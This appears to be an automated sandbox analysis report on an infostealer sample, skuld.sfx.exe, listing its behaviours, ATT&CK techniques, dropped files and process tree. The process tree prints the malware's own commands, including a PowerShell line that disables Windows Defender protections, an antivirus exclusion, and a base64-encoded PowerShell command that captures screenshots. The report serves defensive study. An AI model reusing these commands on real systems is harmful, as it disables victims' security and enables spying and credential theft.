Overview

overview

10

Static

static

3

skuld.sfx.exe

windows7-x64

10

skuld.sfx.exe

windows10-2004-x64

9

Resubmissions

25/07/2024, 08:57

240725-kwszmazbkr

25/07/2024, 08:53

240725-ktbbssscrh10

Analysis

  • max time kernel
    37s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/07/2024, 08:53

Sharing

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General

  • Target
    skuld.sfx.exe
  • Size 3.7MB
  • Sample240725-ktbbssscrh
  • SHA256 c128cf0d1afc230ead203fecf537e8161eb9cc1abd3cfbd7d9cf8def2cb4ae10
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
credential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Maps connected drives based on registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Views/modifies file attributes
        PID:3704
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:2360
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:3144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1348
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
          PID:2596
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          3⤵
            PID:452
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1628
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            3⤵
              PID:4208
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3256
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3784
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:220
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4380
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3480
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE510.tmp" "c:\Users\Admin\AppData\Local\Temp\dudwubcz\CSCF43B07ED5D384640846A46D52E5981BD.TMP"
                  5⤵
                    PID:4812

          Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Hidden Files and Directories

                1
                T1564.001

                Modify Registry

                2
                T1112

                Obfuscated Files or Information

                1
                T1027

                Command Obfuscation

                1
                T1027.010

                Subvert Trust Controls

                1
                T1553

                Install Root Certificate

                1
                T1553.004

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                4
                T1552

                Credentials In Files

                4
                T1552.001

                Discovery

                Browser Information Discovery

                1
                T1217

                Peripheral Device Discovery

                1
                T1120

                Query Registry

                2
                T1012

                System Information Discovery

                4
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                System Network Configuration Discovery

                1
                T1016

                Wi-Fi Discovery

                1
                T1016.002

                Lateral Movement

                Collection

                Data from Local System

                3
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 8b62e1d2b1272157d7f4290fe4ebd2da89402b338d71b03b3f0f2834b5917730
                • MD5 SHA1 SHA512
                Submit Download

                Display (1).png
                • Path C:\Users\Admin\AppData\Local\Temp\G4jxP5idHx\Display (1).png
                • Size 438KB
                • SHA256 d5ef5c220dbb36e53f865ed9e34d3c456a8fc4887715a678091d4a8dd52b2ba7
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                RESE510.tmp
                • Path C:\Users\Admin\AppData\Local\Temp\RESE510.tmp
                • Size 1KB
                • SHA256 5acbd12876c5680d4cb42ec9bf6438b3281f23cda840123873d3fabca119ff16
                • MD5 SHA1 SHA512
                Submit Download

                skuld.exe
                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
                • Size 9.5MB
                • SHA256 2f0124b95bb1bd8327039dc453d315719ce8c3f73b520821258ae062aba470ae
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                __PSScriptPolicyTest_byuch1mr.5go.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_byuch1mr.5go.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512
                Submit Download

                dudwubcz.dll
                • Path C:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.dll
                • Size 4KB
                • SHA256 d5ab1b5ed52c1eb04369ab7c2bf4fe8ab6761999b2ec0a9cae7c7499b5ff2753
                • MD5 SHA1 SHA512
                Submit Download

                hosts
                • Path C:\Windows\System32\drivers\etc\hosts
                • Size 2KB
                • SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
                • MD5 SHA1 SHA512
                Submit Download

                CSCF43B07ED5D384640846A46D52E5981BD.TMP
                • Path \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\CSCF43B07ED5D384640846A46D52E5981BD.TMP
                • Size 652B
                • SHA256 63f6aa4407e2a539250a803b7fe01d8931fd38f06ebf9882573561c7acd10e4e
                • MD5 SHA1 SHA512
                Submit Download

                dudwubcz.0.cs
                • Path \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.0.cs
                • Size 1004B
                • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                • MD5 SHA1 SHA512
                Submit Download

                dudwubcz.cmdline
                • Path \??\c:\Users\Admin\AppData\Local\Temp\dudwubcz\dudwubcz.cmdline
                • Size 607B
                • SHA256 094dc5e619fdb933663b9a72e731c720ccbbec2da76264fea420861dc5afae52
                • MD5 SHA1 SHA512
                Submit Download

                memory/1348-22-0x0000012E4D4F0000-0x0000012E4D512000-memory.dmp
                Download

                memory/4380-67-0x00000261CD810000-0x00000261CD818000-memory.dmp
                Download